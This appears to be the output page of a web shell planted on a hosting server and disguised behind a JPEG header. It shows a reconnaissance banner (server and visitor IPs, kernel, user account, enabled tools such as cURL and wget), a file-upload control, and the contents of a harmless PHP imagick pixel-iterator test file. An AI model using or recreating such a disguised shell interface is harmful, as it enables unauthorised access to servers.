����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 3.16.125.156 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/cpanel/ea-php74/root/usr/share/tests/pecl/imagick/tests/ |
Upload File : |
--TEST-- Pixel Iterator tests --SKIPIF-- <?php require_once(dirname(__FILE__) . '/skipif.inc'); ?> --FILE-- <?php function count_rows ($pix) { $rows = 0; foreach ($pix as $r) $rows++; return $rows; } function count_objects ($pix) { $objects = 0; foreach ($pix as $r) foreach ($r as $o) $objects++; return $objects; } function count_objects_with_iterator ($pixelRegion) { $objects = 0; $row = 0; $pixelRegion->rewind(); $pixelRegion->resetIterator(); while($pixelRow = $pixelRegion->current()) { $row++; foreach ($pixelRow as $pixel) { $objects++; } $pixelRegion->syncIterator(); $pixelRegion->next(); if (!$pixelRegion->valid()) { break; } } return $objects; } $im = new Imagick ('magick:rose'); $it1 = new ImagickPixelIterator ($im); $it2 = ImagickPixelIterator::getPixelIterator ($im); $it3 = $im->getPixelIterator(); $count1 = count_rows ($it1); $count2 = count_rows ($it2); $count3 = count_rows ($it3); if ($count1 != $count2 || $count1 != $count3) { printf( "Row counts do not match %d %d %d", $count1, $count2, $count3 ); } if ($count1 != $count2 || $count1 != $count3) { printf( "Object counts do not match %d %d %d", $count1, $count2, $count3 ); } $objects = array($it1, $it2, $it3); foreach ($objects as $object) { $loop = 0; $count = count_objects($object); $countIterator = count_objects_with_iterator($object); if ($countIterator != $count) { echo "Counting with iterator doesn't match counting with foreach $loop, $count != $countIterator."; $loop++; } } $it1->newPixelIterator (new Imagick ('magick:rose')); echo 'done' . PHP_EOL; ?> --EXPECTF-- %s: ImagickPixelIterator::newPixelIterator is deprecated. ImagickPixelIterator::getPixelIterator should be used instead in %s on line %d done